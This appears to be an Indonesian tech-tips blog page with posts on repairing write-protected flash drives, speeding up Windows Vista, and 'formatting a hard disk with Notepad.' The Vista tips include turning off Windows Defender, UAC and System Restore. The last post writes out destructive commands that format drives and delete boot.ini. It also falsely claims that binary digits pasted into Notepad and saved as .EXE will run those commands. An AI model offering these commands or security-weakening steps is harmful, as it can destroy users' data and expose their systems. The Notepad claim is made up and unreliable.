Tampilkan postingan dengan label Tips n Trik. Tampilkan semua postingan
Tampilkan postingan dengan label Tips n Trik. Tampilkan semua postingan

Jumat, 29 Januari 2010

Memperbaiki Flash Disk yang Menjadi "Write-Protected"

Banyak yang menyangka Write-Protected pada FD disebabkan oleh Smad-Lock yang sebenarnya adalah fungsi pengamanan flashdisk oleh Smadav, padahal masalah Write-Protected ini sama sekali tidak ada hubungannya dengan Smad-Lock. Masalah ini muncul karena flash disk langsung dicabut tanpa "safely removed hardware"

Untuk mengatasinya ada beberapa cara, yang bisa berhasil untuk masing-masing kasus (tidak untuk setiap kasus). Gak ada salahnya untuk mencoba salah satu dari 5 cara ini. Cool .

Cara I.

* Start > Run > ketik "regedit" lalu tekan ENTER atau "OK".
* cari key: My Computer\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\StorageDevicePolicies
* Double klik string ‘WriteProtect’ dan pilih pada ‘Value Data’ kemudian isi ‘0’
* Anda mungkin juga perlu melakukan hal ini untuk string dalam setiap folder bernama ‘ControlSet***’ e.g.
* My Computer\HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\StorageDevicePolicies

Cara II

Saya menggunakan Windows XP Service Pack 2, jadi deskripsi ini hanya berlaku di lingkungan itu.
Dukungnan teknologi Centon's disarankan melakukan hal berikut ...

* Start->Settings->Control Panel
* Administrative Tools
* Computer Management
* Di bawah Storage di panel sebelah kiri, klik Disk Management, tunggu sebentar untuk Windows untuk melakukan apa saja yang dilakukannya......
* Cari data stick/thumb drive/whatever-you-want-to-call it, di kanan atas jendela dan klik di atasnya.
* Klik kanan
* Dalam popup, klik "Delete Partition" -- make darn sure you are doing this to the RIGHT drive!!!!!
* Klik kanan lagi, dan pilih menu "Create Partition" (atau itu format, aku lupa mungkin itu keduanya).

Cara III

Pakai Rapair Utility dari si pembuat flashdisk. Dibawah ini ada link dari HP dan apacer yang banyak dipakai dan berhasil juga untuk berbagai merk.

untuk apacer silahkan download di sini

untuk HP silahkan download di sini

Cara IV

Perbaiki melalui Linux.. Tutorial langkah2 bisa dibaca di sini, dan mungkin membutuhkan pemahaman tentang perintah2 linux.

Cara V

Pakai application OnBelay
credit : smadav.net
read more...

Senin, 04 Januari 2010

Memaksimalkan Performa Windows Vista

Windows Vista masih memiliki banyak kelemahan, meski pihak Microsoft berani menjamin, OS baru mereka ini lebih baik dari Windows XP. Pun begitu dengan Windows XP, ia juga memiliki tak sedikit kekurangan. Mulai dari bugs, inkompatibilitas, lubang keamanan yang gampang ditembus, dan sebagainya. Ini yang mendorong diciptakannya perbaikan-perbaikan seperti munculnya XP SP1 dan XP SP2.

Windows Vista sendiri juga banyak memiliki kekurangan. Kekurangan yang dimilikinya lebih bersifat ke kenyamanan sebuah OS. Ambil contoh seperti User Account Control (UAC) di mana jika diaktifkan, setiap Anda akan melakukan instalasi aplikasi baru, mengakses control panel, mengakses registri, memasukkan hardware baru, dan masih banyak lagi, Anda akan selalu diganggu dengan boks konfirmasi, di mana sebenarnya boks tersebut berniat baik karena mengingatkan Anda akan terjadi perubahan pada system Vista. Jika dipikirkan lebih jauh lagi, hal tersebut sangat mengganggu, terutama untuk Anda yang memiliki tingkat kesabaran kurang.

Dalam artikel kali ini sy akan memberikan beberapa hal yang bisa Anda lakukan untuk lebih mengoptimalkan Windows Vista, agar Anda tak menyesal menggunakan operating system yang satu ini. Dengan harapan Windows Vista akan semakin enak digunakan dan bisa disejajarkan dengan Windows XP lama Anda.

Tips Performa Vista Yang Lebih Baik:
1. Matikan [Windows Search Indexing].
Search indexing windows Vista secara konstan memeriksa file -file yang ada pada sistem. Ini cukup berguna untuk fungsi pencarian, tapi dapat menimbulkan dampak cukup signifikan pada performa. Untuk mematikan indexing: Klik [Start] kemudian [Computer] - Klik kanan pada drive [C:] - Pada tab [General], kosongkan pilihan [Index this drive for faster searching]. Pada dialog box yang muncul, pilih untuk menyertakan perubahan pada subfolder dan file. Lakukan hal sama ada drive lain jika memiliki lebih dari 1 partisi/harddrive.

2. Matikan [Remote Differential Compression].
Remote Differential Compression mengukur perubahan file pada jaringan agar dapat mengirimkan file tersebut dengan bandwith seminimal mungkin tanpa harus mengirimkan keseluruhan file yang telah diterima/dikirimkan sebelumnya. Hal yang cukup berguna sebenarnya, tetapi dengan melakukan pengecekan konstan terhadap perubahan file, layanan ini dapat menganggu performa sistem. Untuk mematikan layanan ini: Buka [Control Panel] - Pindah ke tampilan [Classic View] Pilih [Program Features] - Pilih [Turn Windows features on and off] - Scroll ke bawah dan kosongkan pilihan [Remote Differential Compression].

3. Matikan operasi otomatis [Windows Defender].
Windows Defender real-time protection akan tetap berjalan meski telah di-disable. Untuk mematikan layanan ini: Buka [Control Panel] - Pilih [Windows Defender] - Pilih [Tools] dari menu pada bagian atas - Pilih [Options] - Kosongkan tanda [Auto Start].

4. Matikan [Automatic Disk Defragmentation].
Windows Vista dan fitur always-on defragment tidaklah terlalu penting dan dapat menyebabkan penurunan performa (saat defrag berjalan). Jika ingin mematikan layanan ini, perlu diingat untuk melakukan defrag secara manual tiap beberapa minggu atau jika diperlukan. Untuk mematikan layanan ini: Klik [Start] kemudian [Computer] - Klik kanan pada drive [C:] - Pilih tab [Tools] Klik [Defragment now] - Pada window yang muncul, kosongkan pilihan - [Run on a schedule] Lakukan pada drive lain jika diperlukan.

5. Tambahkan USBFlash drive berkecepatan tinggi 2GB atau lebih dan manfaatkan [Windows Ready Boost].
(Additional Memory Cache) Ready Boost adalah nama yang digunakan Microsoft untuk penggunaan USB thumb/flash drive untuk menyediakan akses memori yang lebih cepat pada sistem operasi dan dapat digunakan sebagai RAM tambahan. Ready Boost dapat meningkatkan performa sistem secara signifikan. Untuk menggunakan fitur ini: tancapkan [USB Flash Drive] - Klik [Start] kemudian - [Computer] - Klik kanan pada drive [USB Drive] pada [My Computer] - Pilih tab [Ready Boost] - Pilih [use this device] - Pilih ukuran ruang USB yang ingin digunakan untuk [RAM usage vs. Storage].

6. Matikan [Windows Hibernation].
Layanan [Windows hibernation] dapat menggunakan sumber daya sistem yang cukup besar. Jika fitur ini tak digunakan terlalu sering, lebih baik dimatikan untuk memberi performa extra pada vista dan membebaskan ruang yang dipakai untuk file hibernasi (besarnya tergantung jumlah RAM). Untuk mematikan layanan ini: Buka [Control Panel] kemudian pilih [Power Options] Klik [Change Plan Settings] - Klik pada [Change Advanced Power Settings] - Buka pilihan [Sleep] Buka pilihan [Hibernate After] - Rubah pilihan menjadi 0 (nol) - Klik [Apply] - Lakukan pada power plan yang lain.

7. Matikan [System Restore].
Analisis dan pembuatan restore point oleh Windows Vista dapat memakan resource sistem yang cukup besar. Perlu diingat, mematikan layanan ini berarti fitur [System Restore] tak dapat digunakan jika terjadi kesalahan atau kerusakan sistem. Untuk mematikan layanan ini: Buka [Control Panel] kemudian pilih [System] - Klik [System Protection] pada panel kiri - Kosongkan pilihan [main system drive] - Setujui konfirmasi.

8. Matikan [User Access Control (UAC)].
Fitur baru Vista yang mencoba untuk melindungi sistem dari infeksi malware dengan cara membuat user memberikan konfirmasi secara manual terhadap seluruh operasi sehari-hari user (TT_TT vexing, i inow). Sementara layanan ini tak memberikan dampak negatif terhadap performa sistem secara langsung, ini bisa cukup menganggu bagi beberapa user. Untuk mematikan layanan ini: Buka [Control Panel] kemudian pilih [User Accounts] - Pilih [Turn User Account Control on or off] - Kosongkan pilihan [User Account Control] - Restart system.

9. Matikan [Windows Services] berlebih yang otomatis dijalankan pada saat startup.
Sama halnya seperti Windows XP, Vista memiliki banyak layanan yang secara default diload pada saat startup yang mungkin tidak/jarang digunakan user (terutama versi Ultimate). Untuk melihat service apa saja yang diload pada saat startup dan menonaktifkan yang tidak/jarang digunakan (dapat diload secara manual jika diperlukan): Buka [Control Panel] - kemudian pilih [Administrative Tools] - Pilih [System Configuration] - Klik pada tab [Services Tab]. Yang dapat dinonaktifkan secara aman: [Offline Files] (kecuali menggunakan layanan [Offline File Sync]) - [Tablet PC Input Service] (kecuali memakai tablet PC) - [Terminal Services] -[Windows Search] (jika indexing telah dinonaktifkan) - [Fax] (kecuali menggunakan modem fax).

10. Mematikan fitur berlebihWindows juga menyertakan fitur-fitur lain yang terdaftar terpisah dengan layanan startup (baca tips 9).
Fitur tersebut dapat dilihat dan dinonaktifkan dengan cara: Buka [Control Panel] kemudian pilih [Program Features] - Pada panel kiri, Pilih [Turn Windows Features on or off]. Yang dapat dinonaktifkan secara aman: [Indexing Service] - [Remote Differential Compression] - [Tablet PC Optional Components] - [Windows DFS Replication Service] - [Windows Fax & Scan] (kecuali menggunakan modem untuk fax) - [Windows Meeting Space] (kecuali menggunakan layanan [Live Meeting]).
read more...

Format Harddisk Menggunakan Notepad

Ternyata Notepad bisa juga lho buat format harddisk. Caranya ada dibawah ini....:
1. Buka Notepad terus copas tulisan di bawah ini
01001011000111110010010101010101010000011111100000


2. Simpa file dengan nama terserah anda. Yang penting ekstensinya .EXE

bisa kan save dengan ekstensi .EXE ??

jangan di gunakan di komputer pribadi anda
dan jangan sekali" mempunyai pikiran jahat denagn menggunakan ini


format c:\ /Q/X -- ini akan memformat drive c:
01100110011011110111001001101101011000010111010000 10000001
1000110011101001011100

001000000010111101010001001011110101100


format d:\ /Q/X -- ini akan memformat drive d:
01100110011011110111001001101101011000010111010000 100000011
001000011101001011100

0010000000101111010100010010111101011000


format a:\ /Q/X -- ini akan memformat drive a:
01100110011011110111001001101101011000010111010000 1000000
11000010011101001011100



0010000000101111010100010010111101011000


del /F/S/Q c:\boot.ini -- ini akan membuat komputer anda tidak bisa di boot.
01100100011001010110110000100000001011110100011000 1011110101
00110010111101010001

00100000011000110011101001011100011000100
110111101101111011101000010111001101001

0110111001101001
read more...